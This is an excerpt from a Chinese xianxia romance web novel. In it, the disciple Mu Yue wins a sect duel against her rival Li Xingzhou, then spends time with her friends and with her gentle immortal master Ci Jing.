“快到你了,去做准备吧。”储殷提醒。
“好。”沐月走到等候区,等待上台,期间她悄悄看了师尊一眼。
“第三轮,沐月、离星洲对战,请站在指定位置。”辞镜看向台下站着的沐月,轻声开口。
在念到沐月名字时,台下众人也不知是不是自己的错觉,感觉仙尊语气都温柔了很多。
沐月走到台上,站在台上靠右的区域。
但她面前始终没有人出现。
台下又开始讨论,“看样子离星洲确实到不了,本来以为沐月必输,谁知还有这种运气。”
“我还想看看她到了外门后,仙尊是个什么反应呢,看来暂时是去不了了。”
“离星洲究竟干嘛去了?他不是一直和沐月不对盘吗,进宗就是冲着玉翎仙尊徒弟身份去的,之前和储殷争得你死我活,最后却被半路杀出来的沐月截胡,现在正是出这口气的绝佳时机,居然一直不见他人影。”
“我觉得,你想太多了吧,要真像你这么说,原本仙尊关门弟子的身份差点就是储殷的了,他更该恨沐月才对,这不是和人家处得这么好。”
弟子往储殷那边看了看,低声道:“你难道就没有想过另一种可能吗?”
“什么可能?”弟子说完突然意识到关键,“你是说……”
“嘘……不然说人家能够走到这个位置呢,离星洲比起储殷,差的不是天赋和实力,而是这个。”弟子点了点自己的脑袋。
时间一分一秒过去,离星洲始终没有出现,大家都开始有些意兴阑珊了,现在还有什么好看的。
辞镜看着沐月身前始终空着的位置,在倒计时即将结束时,他感应到了传送符灵气的波动,台下随之出现了离星洲的身影。
“仙尊抱歉,我来迟了。”离星洲一身黑衣,大步走向比试台。
他随意瞥了沐月一眼,便将目光集中在一旁的玉翎仙尊身上,眼神有钦慕,也有压抑的狂热,与他冷漠倨傲的脸形成了极为强烈的反差。
曾经他忍受剥皮抽筋,更换灵根之痛,就是想要成为玉翎仙尊的弟子,可最后……他眼神冰冷地扫向沐月。
沐月被他盯得皱起了眉,她一直都知道离星洲为何不待见她,但她也觉得挺可笑的,在她来之前,他又不是板上钉钉是师尊的徒弟,好大的脸。
师尊的徒弟即便不是她,也不会是离星洲。
沐月看向台下望着她的储殷。
十多年前,掌门已经选定了储殷成为仙尊的关门弟子,并打算在仙尊回来后就告知他此事,但没想到他会领回来一个小姑娘。
他牵着脸冻得通红,瘦瘦小小的沐月回宗的时候,掌门和一众长老差点惊呆下巴,毕竟之前沈风吟这个大弟子还是他们劝说了多年,使出浑身解数才让他收下的。
要是这么喜欢捡孩子回来,之前怎么没看他捡,人家小孩子扑到他腿边让他抱,他都只是看着人家,给个没有攻击力勉强算得上是玩具的法器,等着孩子父母抱走。
辞镜究竟怎么想的无人得知,可能是心血来潮,可能是反正已成定局他们也不好说什么。
也因此,被掌门领到殿中,准备认识他新师尊的储殷,在看见沐月和仙尊后,安静地待在一旁没有主动上前。
在商议此事时,师尊让沐月先出去玩儿,但她隐隐知道,刚才的那个男孩子或许才应该是师尊的徒弟,可她身上盖着师尊暖呼呼的衣袍,师尊牵着她手,温柔地和她说话,她没有勇气离开,于是选择了沉默。
后面每次想起来,她沐月会觉得愧疚,所以想要加倍对储殷好,想以这样的方式弥补。
说起来,她做那些只是自私地想要自己不那么难受罢了。
沐月凝神,阻止自己继续去想这些,离星洲来了,她必须要全力以赴。
“你先。”离星洲启唇,说完,顿了一下,看向沐月的眼神中多了一丝审视,不过很快就又恢复成那副冷漠目空一切的模样。
仿佛施舍他的一丝目光,别人都该感恩戴德。
既然他都这么说了,沐月也不好拒绝,傲慢的家伙。
她伸手,佩剑惊月出现在她手中,发出阵阵嗡鸣。
与此同时,浓厚的木灵力包裹在剑身,亮起冲天的绿光,沐月浑身的灵气四溢,剑招凌厉干脆,锋利的剑刃直指离星洲。
就在她出剑的一刹那,台下爆发惊呼。
有人不明所以,“怎么了怎么了?”
金丹以下的弟子无法感知比他高等级修士的灵气修为,但是在场有金丹甚至元婴期的修士,他们惊讶的是,沐月身上竟然爆发了金丹的威压。
“到底怎么了?谁能告诉告诉我?”
有人抓耳挠腮不明白到底发生了什么事,台上也没什么特别的呀,沐月的剑招虽然挺好看的,但也被离星洲避开了,干嘛怎么激动。
“若我没有感知错,沐月已经迈入金丹期,灵气不够凝练,应当是才晋升不久。”<
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“啊?”
“啊?”
沐月不是距离金丹期还有很大一截嘛,虽然这一批内门弟子的修为大多数是筑基,但同等级之前差距也极大,每一个小境界晋升短则数月,慢则数年,而筑基和金丹之间差了四个小境界,分别是前期,中期,后期和大圆满,怎么一月不见,直接从中期跨越到金丹了!
“会不会是你感知错了?”有弟子质疑,再快也不至于这么快啊。
“再看看吧。”
这一会儿时间沐月疑似突破至金丹期的消息传遍了台下,牢牢盯着台上两人陷入白热化的对战。
他们越看越心惊,沐月怎么还没输啊。
这不对吧?
没有一招制敌,离星洲的神色发沉,调动全身的灵力,驱动灵剑迅速朝沐月的脖颈刺去,剑刃在阳光下反射凌冽寒光,沐月身形一转,剑刃险险擦着沐月脖颈的皮肤而过,瞬间留下血线。
玉翎仙尊紧盯着沐月的伤痕,随后冷冷看向离星洲。
离星洲微微走神,但很快调整过来,朝已被逼至比试台边的沐月飞身过去,剑尖在距离沐月一指的距离,被她用惊月牢牢抵住,剑刃碰撞擦出阵阵火花,刺耳的摩擦声让沐月皱起了眉头。
两人靠得极近,离星洲紧盯着沐月的双眼,在擦身而过时在她耳边道:“你伤不了我。”
他的笑容还没来得及收,沐月操控灵力驱使凤鸣剑,瞬间抵在了他的脖颈。
离星洲的注意力都在沐月的那把惊月上,没能预料到她竟能单独操控灵力如此精准地将另一把剑架在他颈前。
“想不到吧,我还有一把剑。”
“再动,割破你喉咙。”沐月微笑着警告。
凤鸣原本是师尊的佩剑,但是在木月十八岁生日那日给了她,这是继惊月之后,师尊送给她的第二把佩剑。
离星洲在凤鸣剑出现那一刻,瞳孔微缩,他咬牙喉结上下滚动,丝毫不惧,继续往前逼近,剑刃生生在他的脖颈上割出一大条血口子,鲜血喷溅到沐月的脸上,星星点点的血迹沾到了她的眼球。
她咬牙擦了擦,好脏的血。
脖颈的血浸湿了离星洲的衣襟,还在不断往喷溅,地上洒了一地的血,但离星洲好似没有半点痛楚,也没有任何处理的打算。
持剑而起,再次迎战。
台下再次爆发惊呼,他们没想想到沐月竟然会将离星洲伤到此等地步。
离星洲就是个疯子,根本不顾肆意喷洒的鲜血,他眼里只剩个下面前的沐月,即便脸上已经失了血色,还是想要不管不顾继续将剑刃刺向沐月。
众人惊恐地发现他好像失去了基本的理智。
显然,沐月也发现了这一点,这个神经病,好像在凤鸣出现的那一刻就失态了。
原本沐月可能打不过他,也早早做好了进入外门重新再来的打算,但这次让她抓住了漏洞,她在离星洲不管不顾朝她飞来的那一刻,动用灵力牢牢操控惊月,临时更改惊月的路径,剑尖直指这离星洲的心脏。
但战局并未停止,离星洲不顾胸口的剑尖,还在朝沐月发起攻击。
台下众人都捏了把汗,在比试中弟子意外伤亡时有发生,双方均不会担责,但若是查明是故意为之,那就将施以重刑。
沐月明显是收了力道,但离星洲不管不顾,即便发生伤亡也不会和她有任何关系,但她还是皱了眉,试图在离星洲迎上前来之前及时收回惊月。
一切终止于玉翎仙尊的干预。
惊月乖乖落地,一道凭空凝成的冰墙将沐月和离星洲隔离。
没有任何异议,辞镜宣布了此次对战的结果。
“此局沐月胜。”
台下人也看得分明,一般点到即止,沐月将凤鸣架到离星洲脖颈上时,就该默认得出胜负,但他脱险也不好判定,但刚才的局面是沐月但凡不收剑,离星洲就会被刺破心脏,几乎没有躲避的余地,这便是必死的结局。
自然该沐月胜。
结果一出,满座哗然。
“居然是沐月胜了。”
“离星洲是不是不太对劲,他之前虽然傲慢无礼,但对战还算冷静沉稳,这次怎么完全失了节奏。”
“估计是记恨沐月,玉翎仙尊又在场,嫉妒了。”
“都多少年的事情了,搞不懂他在想什么。”
“即便如此,我发现沐月也比之前强了不止一星半点,按照以往,她甚至无法近离星洲的身。”
“我也发现了,要是我和现在的她对上,估计也没有胜算。”
“话说到底是为什么呢,她怎么突然变得这么厉害了。”
此次月试,沐月和离星洲成了讨论的热门人物,茶余饭后都少不了提几句,最后得出一个解决,沐月看样子真和以前不一样了。
沐月下台时,透过透明的冰墙,她发现离星洲似笑非笑的阴沉目光,让她毛骨悚然。
灵犀和储殷正要围上来,但远处的玉翎仙尊提前走到了沐月的面前。
“师尊你怎么下来了。”沐月停下脚步。
“不碍事,三轮结束会休息一刻钟。”
“原来如此。”
辞镜看向沐月脖颈白皙皮肤上的刺眼血痕,他皱皱眉心,手指缓缓靠近伤口。
沐月想到周围还有人,下意识就要后退。
“别动。”辞镜出声。
5. 第 5 章
辞镜指尖在距离她伤口还有微末距离时停下,并未触碰到她的皮肤,沐月感觉伤口有些凉,想要低头但是看不见。
指尖的灵力流淌到沐月的伤口,那抹血痕以极快的速度消失。
“好了。”辞镜收回手指。
沐月伸手摸了摸,皮肤光滑平整,刚才的刺痛感也消失了。
“多谢师尊。”她咧嘴甜甜一笑。
“以后要多注意一些。”辞镜轻声叮嘱。
“我知道的。”其实她想说这一点点小伤口不碍事,但她看着师尊担心的眼神,还是没有说。
辞镜看到沐月脸颊上溅被溅上的离星洲的血,蹙起了眉,“脸上有血。”
“啊,我差点忘了。”沐月对离星洲这个人就很排斥,想到他的血溅自己身上了,更是浑身直冒鸡皮疙瘩,好恶心。
辞镜施了个清洁术,沐月脸上又恢复了白白净净,但他的眉心还是没有舒展,回想起方才那个弟子看沐月的眼神,他眉头皱得更紧了些。
手中凝了水,将帕子打湿后递给沐月。
她赶紧接过来往脸上使劲擦了擦,抬头时,正好与远处紧盯着她与师尊的离星洲对视,她没理会,将帕子递给师尊。
“去找你的朋友们吧。”辞镜下来时就注意到想要来找沐月的灵犀他们。
“师尊我过去了,你也上台去吧。”
沐月和师尊招招手,转身走向灵犀和储殷。
“阿月。”
沐月回头。
“刚才做得很好。”辞镜轻声开口。
沐月从小到大听了师尊不少夸赞,但是这次不知道为什么,她脸颊有点烫,“谢谢师尊!”
威风将她脸上的微微燥意吹散,灵犀和储殷朝沐月走去,灵犀比沐月本人还要激动,“沐月,你好厉害!一月不见你竟然迈入金丹期了!你是没看到那帮人惊掉下巴的样子!”
其实她自己也差点惊掉下巴。
灵犀夸得沐月有点不好意思了,“今日挺开心,我请客吃顿好的!”
“那我们就不客气了!”灵犀是不担心沐月破费的,毕竟她可是仙尊的徒弟,缺什么也不可能缺灵石。
“走吧!”
“对了沐月,我感觉今日的离星洲有点不正常。”
要说以前离星洲和沐月的过节也不少,他只要找到机会就会找沐月的麻烦,但是在宗门还不至于做出些过激的行为,沐月也懒得理他,但这次他像是无法控制自己的情绪。
沐月也在思索,离星洲之前到底是装的,还是他离开那段时日发生了什么。
为何刚才跟一条没牵绳的疯狗似的。
沐月离开前又往刚才离星洲站的位置扫了眼,谁知他竟还没走,始终阴沉地盯着她。
神经病。
沐月严重怀疑他对自己冰清玉洁的师尊有什么见不得人的企图,她得警惕这个无耻之徒,誓死捍卫师尊的节操!
在沐月背影消失后,离星洲突兀地笑了笑,他垂眸掩盖了眼底的阴沉,正要离开,却发现高台上的玉翎仙尊正看着他。
他继续笑,还冲仙尊挥了挥手,在发现辞镜收回视线没在他身上停留半分后,脸上的笑戛然而止,眸中冷意涔涔。
果真是师徒呢,离星洲看向沐月早已消失的方向,嗤笑。
沐月几人直接下了山,山脚有开设的酒楼,万剑宗膳堂的东西实在难吃。
路上她给师尊传了讯,告知他自己会晚些回。
“仙尊真好,我要是失踪了,我师尊发现时我人怕是都没了。”灵犀感叹。
说完,她忽然意识到什么,看了眼沐月和储殷,“今日怎么回事,我发现你俩都没怎么单独说过话。”
之前她都担心沐月的比试去了,也忽略了这个问题,现在得空了,才发现两人的异常。
“一月前你俩好像就怪怪的,是不是有事瞒着我呢?”
灵犀眯着眼睛,紧盯着两人。
沐月摇头,“没有啊,你瞎想什么呢,肯定是你感觉错了。”
灵犀又凑近储殷,视线在他貌美的脸蛋上停留了许久,“你们肯定有事瞒着我。”
储殷没理会她。
沐月面上镇定,其实心里早就乱成一锅粥了,她真想捂住灵犀的嘴巴。
其实也没发生什么事,甚至是不值一提的小事罢了,但沐月左右回想都觉得不自在,这丝微乎其微的感觉持续到了现在,虽然已经过去了一月的时间,但她还是无法忽视。
一月前她和灵犀听说山下城中来了名动四方的大美人,此人还曾与师尊有过婚约,但这已经是百年前的事情了,沐月和灵犀都没见过此人,好奇心驱使之下,两人拉着储殷一起去城里想要一睹大美人的风采。
确实貌美无双,城里修士和寻常百姓络绎不绝,香车宝马游街而过,沐月看直了眼差点走不动路。
那时她还没有觉醒记忆,自然也不知道此女正是下界前来助师尊历情劫的天帝之女瑶姬。
人群拥挤,沐月没站稳,却落入一个怀抱,抬头却发现抱着她的人正是储殷。
两人四目相对,气氛怪异,对上他黑黝黝的双眸,沐月立即就要从他怀里出来,但他却突然紧紧扣住了她的手腕。
沐月不知所措,挣扎着想从他怀里出来时,储殷放开了她。
此前两人关系一直都还不错,但只是朋友关系,没有超出过界限,但那日的事情她每每回想起来都有点心悸。
储殷对此没有说什么,后续两人还是照常相处,但一些细枝末节的细节就此变化。
她虽感觉奇怪,但也没有深想,一来是不敢,二来是不想。
沐月只希望那日是她的错觉,心惊胆战生怕储殷突然提起那日的事,此时灵犀提起,沐月心都停了半拍。
储殷没有看沐月,轻声道:“你想多了。”
“你们是不是吵架了?”灵犀琢磨,之前两人也吵过架,但都是不理会彼此,还是她这个和事佬从中周旋,生怕两人就此解散。
现在的情况也不像之前吵架的时候,但她想不到还有其他的可能。
“真的没有,时间不早了,我们得赶紧去酒楼,去晚了没座了怎么办。”
灵犀越发狐疑,但也没有继续纠结,还是吃饭要紧。
此时已经临近下午,街道上人并不多,三人直奔人气最高的那家酒楼。
“我想吃糖葫芦,你们先去点菜,我买了就回来。”灵犀说完就往后街跑,那家的糖葫芦做得最好,糖衣薄薄一层,脆甜可口。
“我和你一起去!”沐月连忙道。
“不用了,又不远,我很快就回来。”
“……”
她非要和灵犀一起去的话,未免太奇怪,沐月只好留下,对储殷说:“走吧,我们先进去。”
才走了两步,就听见储殷的声音,“你不必将那日的事情放在心上。”
沐月心想完了,怎么还单独提出来了呢。
“什么?”她佯装迷茫。
储殷摇头,“没什么,走吧。”
她庆幸储殷没有继续提,这事儿就这么过去了算了。
在老地方坐下,沐月点了些往日经常吃的菜。
小二记下后问:“请问还需要点别的吗?”
“你点吧。”沐月对储殷说。
他便也点了一个。
小二走后偌大的包厢又只剩下她们两人,沐月坐立不安,也不知道是不是她的错觉,总感觉储殷一直在盯着她,她感觉自己好像有点自信过头了,又不敢看回去,怕直接和他对视上。
讲道理,储殷在宗门里的受欢迎程度不亚于她的大师兄沈风吟,她这样有点自作多情。
沐月起身走到窗边,朝街上看,“灵犀怎么还没回来……”
“你很不想和我独处一室吗?”
沐月听见储殷低低的话,抓紧窗沿。
她转头,呵呵一笑,“哪有,只是之前灵犀都很快就回来了。”
沐月还想找补两句,谁知坐着的储殷突然站了起来,还朝她的方向走了过来。
两人距离越来越近,就在沐月紧张得心都快跳出来时,储殷在距离她一步的地方停下。
这一刻她脑子里想了很多种结果,昔日好友撕破脸,从此两看相厌……越想她越是惊恐。
“你很紧张。”储殷开口。
他微微倾身,两人的距离越缩越近,他马尾捆绑的青色发带被风扬起,划过沐月的脖颈,她偏头躲避。
“沐月。”
储殷念完她的名字静静盯着她,直视她眼里自己的倒影,和她的慌张。
储殷弯唇笑了,但刹那闪过的神情说不出的悲伤。
“不要担心,我没有别的意思,你也不要有负担,好吗?”
“不要躲着我,也不要对我视而不见。”
储殷认真看着沐月,语气竟让人听出了祈求。
沐月抬头对上他的双眸,她捏了捏手心,积年累月的歉疚在他说出这句话后,沐月的心情更加沉重。
“对不起,我不该躲着你的。”
听见她的话,少年脸上的阴霾消失,眼中似有星星。
“没关系,以后不要躲着我就好了。”
储殷往前走了一步,两人之间隔的这一步彻底被打破,沐月下意识想往后退,但刚
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才储殷说过的话耳边响起,她控制住了想要往后退的脚步。
储殷缓缓伸手,距离她的脸越来越近,沐月眨了眨眼睛,有些匆忙地问:“怎么了?”
“柳叶。”
他从沐月额前碎发上取下一片翠绿的叶子,递给她。
“谢谢。”沐月接过那片细长的柳叶。
酒楼外整条街都是柳树,绿柳成荫,这座城池因此得名柳城,百姓和修士共存,在这里能看见广场演舞台上比试的修士,也能在河边柳荫下看见散步的普通百姓。
在万剑宗的庇护下,无人敢在城中放肆。
“你们在干什么!”
突如其来的声音吓了沐月一跳,储殷动了动眉梢,转身时正好看见举着两串糖葫芦震惊地看着他们的灵犀。
“你们在我出去的时候到底背着我做了什么见不得人的事?”
灵犀冲了进来,插进两人中间,质问两人,满脸难以置信。
沐月将柳叶递到她面前,“我头上有这个,储殷给我拿下来了。”
听见这个回答,灵犀一副你们当我傻子的表情。
难怪,难怪之前两人这么奇怪,搞了半天是背着她偷偷在一起了。
这场三人的友谊终归还是她多余了。
灵犀含泪吃了颗糖葫芦,越想越是伤心。
“真的,没骗你。”
灵犀不听,她继续愤怒地嚼着糖葫芦,气得将给沐月带的那串也吃了。
“真的!我发誓!”
“我不听!”
“……”
如今这个场面,沐月还能怎么办呢,她硬着头皮道:“你知道的,我喜欢我大师兄。”
灵犀眨眨眼睛,这是什么时候的事情。
沐月头也很头疼,她总不能说她喜欢师尊吧。
沈风吟作为万剑宗弟子们的梦中情人,她也只有选择说自己的大师兄增加可信度了。
灵犀信了,但也更加崩溃了。
“不要啊,你怎么能和我抢大师兄?”
“不好意思,这是我的大师兄哦。”沐月贴心地提醒。
“你的大师兄不就是我的大师兄。”灵犀才不管,她因为沐月好朋友这个名头,还和沈师兄单独说过话呢。
沐月这么一打岔,灵犀是彻底没在关注刚才的事情,才沉浸在自己和姐妹喜欢上一个男人的悲伤里。
吃饭途中,沐月接连听见灵犀叹气,“近水楼台先得月啊……”
“肥水不流外人田。”
“我这怎么争得过!”
“算了,便宜你比便宜其他人好,呜呜呜……”灵犀掩面哭泣。
“……”
沐月有点后悔刚才脑抽说喜欢大师兄的话了。
上回师尊说大师兄去了水月洞天,也不知道什么时候回来。
“难怪你对你师尊没有歹心,原来是喜欢大师兄啊,两人容貌身段不分伯仲,沐月你赚大了!”
“……”
“吃你的吧。”沐月赶紧往灵犀嘴里塞了块灵兽肉。
三人太久没有见面,吃完饭又在街上逛了逛,一转眼就到傍晚。
“要天黑了,该回去了”沐月看了眼天色,再晚回去师尊该担心了。
灵犀也知道沐月的习惯,点点头,“那回去吧。”
沐月踏着最后一抹余晖走到无妄楼前,小楼已经亮起了昏黄的灯光,沐月从推开的窗棂看见了师尊烛火下影影绰绰拉长的身影,看到他的那一刻,心瞬间宁静了下来。
小楼的门并未关,沐月走到门口时,辞镜放下手中的书,看向她的方向。
“回来了。”
“嗯师尊我回来了。”沐月转身将门轻轻合上,她走向随意靠在软塌上的师尊,在他面前停下。
“吃过饭了吗?”辞镜柔声问。
他闻到了沐月身上的烟火气,还有丝丝清甜的味道,应当是糖。
“吃了。”
辞镜还想说些什么,但在看见沐月手里的东西后顿了下。
“师尊,这是我逛街时看到的,感觉很适合您,就买回来了。”
沐月将手里的一盆别枝草递给辞镜。
别枝草只长在温暖之地,花开不败,米粒大小的雪白色花朵藏在枝叶之下,花香和枝叶散发的淡雅香气有凝神益气,安神之效。
沐月看了眼师尊的印堂,但是灯光下有些看不清,她不知道师尊修炼上是否遇到了魔障,若有的话,希望这盆别枝能够稍稍让他松缓些吧。
接过沐月手中的别枝草,淡淡香气萦绕在辞镜鼻尖,他抬眸静静看着沐月,灯光下他的笑容愈发温柔,“师尊很喜欢。”
6. 第 6 章
“这个可以放在窗台,也可以放在床前,很好养活,浇浇水就好了。”
沐月买之前特意问过了,师尊正好是水灵根,抬手就能浇水也很方便。
“师尊记住了。”
“师尊,我有件事有点好奇。”沐月挨着师尊坐下,她坐直身体,面向师尊的方向,一脸的求知欲。
“什么?”
“您从小到大修炼上遇到过阻碍吗?”沐月试探地问,她始终没有忘记司命那晚说过的话。
辞镜愣了愣,似乎还从没有人如此问过他。
就连他的师尊,也不怎么过问。
“自然会的。”他轻声道。
“那您若是遇到阻碍,会怎么办呢?”沐月往师尊那边挪了挪,离他更近了。
“会思考,会反省,也会无数次地重新尝试,直至彻底攻克。”他说完稍顿,“阿月,你可是修炼上遇到了困难?”
沐月摇头,“就是想知道师尊的曾经是怎样的,我都是在别人口中听到的,好像从来没有听师尊您自己说起过。”
“师尊之前的生活很枯燥,很乏味,你要听吗?”辞镜并没有拒绝,而是温柔地询问沐月。
“嗯。”沐月坚定地点头。
她看着师尊,等着他亲口讲述自己的童年、少年和青年时期,但是和她多姿多彩被呵护着长大的生活完全不同,也不似她以为的意气风发。
是漫长的,了无尽头的,孤身修炼的平淡无味。
辞镜用最朴素的语言,不过片刻便将他长达三百年的时光讲述完。
他看向沐月略显稚嫩的脸庞,算起来,再过半年,就是沐月十九岁的生辰了,一晃十四年匆匆便过。
于之前的他而言,十几载不过弹指一瞬,五十年,上百年也没什么太大的分别,但这十四年,看着沐月一点一点长大,似乎比往常的一切都要清晰深刻。
沐月靠近师尊,将脸轻轻靠在师尊腿上,“往后我会陪着您的。”
辞镜低头看着沐月,揉了揉她的头,“好。”
这样温馨的时光并没有持续太久,沐月很快直起身,“师尊,我还有一件事想问。”
“你说。”
“我能问问您为什么一直都不找道侣吗?”
沐月真的很想知道,在该死的司命提出那个该死的勾引任务后,她就更想知道了。
虽说一旦迈入修仙一途,就将儿女情长放到了一边,但还是抵不过人的本性,九大峰主大部分都有夫人,通讯玉牌上,每日在弟子群撕破脸闹得人尽皆知的小道侣也大有人在。
到底是师尊将往事隐藏了没有提起,还是说他确实无心情爱呢。
辞镜从未主动去想过这个问题,但沐月提出来后,他开始认真思索。
但是一时思考不出答案。
从之前模糊的记忆中,他少年时期似乎有女弟子主动靠近他,对于她们修炼上遇到的问题,或者其他能解答的问题他会认真回答,但也仅限于此。
他见过师弟们和心仪之人相处,看着他们红了脸,越靠越近,但他确实对此没有半分憧憬。
辞镜心里并不排斥此事,也没有不沾染情爱一心修炼的想法,只是自然而然地自己如此一人走过来了。
他也不清楚,自己会不会在什么时候开始生出想要靠近一个女子,想拥有她的想法。
“或许是暂时还没有遇到吧。”犹豫再三,辞镜这么回答。
“您之前有没有喜欢过谁呢?”
男女都行,沐月在心里补充了一下。
等等,师尊不会喜欢男的吧,只是碍于外界的眼光,才选择孤身一人,越想沐月越觉得惊恐,要是师尊真喜欢男的,那她岂不是……
又开始瞎想了,师尊喜欢男的和她有什么关系。
辞镜不知沐月离谱的想法,他摇头。
“那在意呢,有在意过谁吗?”沐月不甘心继续问。
她盯着师尊,想听见他的回答,但是这次他却没有立即回答。
看样子有。
“有。”
果真有,都开始在意了,那离喜欢还远吗,沐月很想知道师尊在意过谁。
“是谁啊?”沐月追问。
“阿月你,与你大师兄。”
沐月眨巴眨巴眼睛,好吧,白问了。
也不算白问,师尊在意她和师兄诶,虽然她知道,但她想问的是师尊有没有在意过别的女孩子啊。
见沐月一脸失望,辞镜有些不解,“为何问起这些?”
“就是想知道罢了,也没有特别的原因。”沐月随口回答。
辞镜静静看着面前眼神有些闪躲的女孩,真的是随口一问吗?
他知晓沐月的性子。
她这个年纪,是否有了心仪之人呢。
“对了师尊,大师兄什么时候回来?”
沐月没听见回答。
“师尊?”
辞镜回神,“什么?”
“师尊您怎么了?”沐月瞅着师尊,刚才他好像在走神。
“无事,方才没有听清,你说什么?”
沐月狐疑地看着他,“我问大师兄什么时候回来。”
“他说他还有些事情要办,暂时不会回来,你找他可是有事?”
“师尊你忘了,半个月后是大师兄的生辰,他要是不回来,就只能给他推迟办了。”
他眼睛轻轻眨了一下。
“师尊不会真给忘了吧。”
辞镜确实忘了。
“算了,反正你自己的都记不住,也不指望你记住别人的,我的师尊你肯定也忘了。”
其实他想说,他记得。
“师尊明日我还要去上课,就先回房了,您也早点歇息。”
沐月回房,去了卧房相连的小温泉,脱了衣裳后整个人都泡进池水里。
泡了一会儿,她脑子有点晕乎,可能是水太热了。
不敢再泡,起身回了房里,她才躺进软乎乎的床上不久,便睡了过去,也没注意到自己头顶上冒
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出来摇摇晃晃的小花苞。
离平日里沐月起床的时间已经过了近半柱香的时间,房内看书的辞镜几次看了沐月的房门一眼,最终还是起身走到门口,抬手敲了敲门。
才比试完,沐月或许会多睡会儿,但辞镜还是放心不下。
“阿月,起了吗?”
没有听见回应,辞镜抬手又敲了敲。
却依旧没有半点声音。
以前从不会如此,辞镜担心生了意外。
身影直接在原地消失,转瞬便出现在房门的另一边。
入眼之处,是少女粉白色的床。
女孩乌黑的长发有些凌乱地散在被柔软的被子上,露出一小半睡得发红的侧脸。
辞镜上前走到床边,看见她轻轻动了一下的唇,松了口气。
他看着睡颜宁静的女孩,轻声唤她。
沐月睫毛动了动,但始终未能睁开双眼。
辞镜神情微凝,掀开沐月被子一角就要为她把脉,却听见了沐月的声音。
“师尊?”
含糊沙哑,带着几分撒娇的意味。
他动作一顿。
辞镜抬头时,沐月迷糊的脸映入眼帘,女孩皱了皱眉,似乎还没怎么清醒。
还沉浸在睡梦中的沐月下意识就要往师尊怀里蹭,但她突然停下,水润润的眼睛渐渐睁大,“师尊!”
“嗯是我。”
沐月一副被雷劈的样子,她做梦梦见小时候师尊哄她睡觉来着,怎么还续上了。
幸好她没有钻师尊怀里,不然跳进黄河也洗不清了。
师尊从未在她十岁以后睡着的时候进过她的房门,一时有些无措,沐月赶紧摸了摸自己嘴巴边上有没有口水,匆忙坐起来,“师尊,现在什么时候了?”
“离上课还有大概一刻钟。”
沐月一惊,怎么这么晚了。
“身体没感觉不舒服吗?”
辞镜仔细观察着面前的女孩,视线不经意间划过一抹莹白,他立即抬眸移开。
沐月不明所以,她摇了摇头,“怎么了嘛?”
“刚才在门外喊你,但是你没有回应。”
沐月有点懵,难怪师尊会进她房间。
“可能是我昨天比试太累了,又去了山下。”之前一个月还在水月洞天,七七八八加起来,睡得时间就长了。
辞镜看着她,“那还要再睡会儿吗?”
“不了不了,我再睡下去该迟到了。”
“那我先出去,你收拾好后出来吃饭。”
“好。”
沐月脑子发懵地看着师尊的身影消失在房里。
等人走了,她才意识到什么。
连忙低头检查自己的衣着,这才发现,身上穿的那条灰扑扑但是格外舒服的丑裙子,丑就算了,还非常宽大松松垮垮,她肩膀都漏出了小半截。
沐月拉了拉衣襟,起身跑到镜子前,看到头发乱糟糟,睡眼惺忪还灰扑扑的自己,恨不得立即钻进地缝里。
7. 第 7 章
后悔自己昨晚没有穿得美美入睡的沐月,决定将这条丑裙子扔远点!
但最后,她又默默捡了回来。
一番折腾,原本就所剩无几的时间更是少得可怜,这哪还有时间吃饭,沐月狂奔出门,但听见师尊说:“先吃饭,一会儿师尊送你。”
沐月瞬间不慌了。
有师尊真好!
吃完饭,她自觉站到师尊身旁,等着师尊带着她瞬移,她每次都会想要看清楚瞬移过程中到底是什么样的,但是每次没等她看清就到另一个地方了。
转眼就到弟子学堂,此刻临近上课,外面已经没什么人了,沐月和师尊挥挥手快速跑向大门。
在她稳稳坐下的后几秒,扶清长老从门口走了进来。
刚好!
沐月坐下后她身后灵犀戳了戳她,悄悄问:“你怎么这么晚才来。”
“睡过头了。”沐月匆匆回答。
“难怪。”
灵犀看了眼靠前的离星洲的座位,还是无人在,“离星洲怎么还是没来,哦对,他昨日受伤不轻,应该也起不来。”
对此灵犀表示非常解气,就离星洲平日那副高高在上不屑与她们说话的样子真是让她大倒胃口。
“安静!”
扶清长老拍了下桌子。
瞬间鸦雀无声。
等下课,扶清长老一走出大门,堂内便吵闹起来。
有人询问离星洲的情况,他的小弟江凌峰孜孜不倦地维护他老大的尊严。
“要不是他才从秘境出来,身上负伤,也不至于在月试中输给沐月。”
周围弟子一听,有情况。
“离星洲之前没来原来是去秘境了吗?”
“自然,不然你们以为他为何会晚到,正是因为身上负伤,才会被沐月寻了机会。”
江凌峰说的并非假话,离星洲本就负伤,那日又被沐月划伤了脖颈,并且一直未处理,回去后就倒下了。
原来如此,弟子们恍然大悟,若离星洲没有受伤,是以最好的状态对战沐月,怕是根本不会给她取胜的机会。
“难怪,我就说沐月怎么突然变得这么厉害了。”
灵犀听见她们的对话,讽刺道:“话谁不会说啊,我们沐月也是才九死一生历练回来,她也受伤不轻。”
“我承认离星洲实力确实挺强,但人不能太自负,看,这就是自负的下场。”灵犀微笑着继续道:“现在输了还找借口,实在不是大丈夫所为,人也不能只修炼,还是得注意注意自己的品性。”
沐月听完,当场给她鼓掌。
周围弟子感觉好像确实是那么回事,不过事情到底怎样和他们也没有太大关系,他们也只是看看热闹,找找乐子罢了。
灵犀站出来,大家也必要和她争执,开始讨论别的事情。
……
每日的课并不多,时间也不太一样,有时在上午,有时在下午,其余时间自己安排,但弟子们几乎都是用作修炼,放学后就各自回峰或者前往宗门专门为弟子修建的聚灵室修炼。
这次的课上午就上完了,沐月和灵犀她们分别后打算回戚雪峰,整座万剑宗哪里的灵气能比得上戚雪峰呢,无妄楼还有师尊设下的聚灵法阵,她修炼起来事半功倍。
有这样的修炼资源,她之前都如此不争气,也不知道师尊会不会失望,可能会吧,只是师尊从来没在她面前说过,也不会为此斥责她。
戚雪峰位于九大峰最远端,更为僻静,沐月需要穿过林中一条小径才能抵达戚雪峰脚下。
她走到到一半,远远看见树干下靠着一个黑衣的人影,她顿了顿,这是前往戚雪峰的必经之路,也是唯一一条小路,不会通往宗门其他地方,她很少在这里看见其他人。
越走越近,那个身影也越发清晰,沐月看清那人是谁后,生出警惕之心。
竟是离星洲。
她在想要不要掉头就走,他突然出现在这里绝对不怀好意,尤其是之前两人才对战过。
看见是他的第一时间,以防万一,沐月第一时间给师尊传了讯。
离星洲显然发现了她的举动,眼眸轻抬,冷嗤一声。
他没有说话,也没有做出其他举动,在沐月走远了还如此漠然地盯着她,仿佛将她视作空气,但那目光又分明精准地落在她身上。
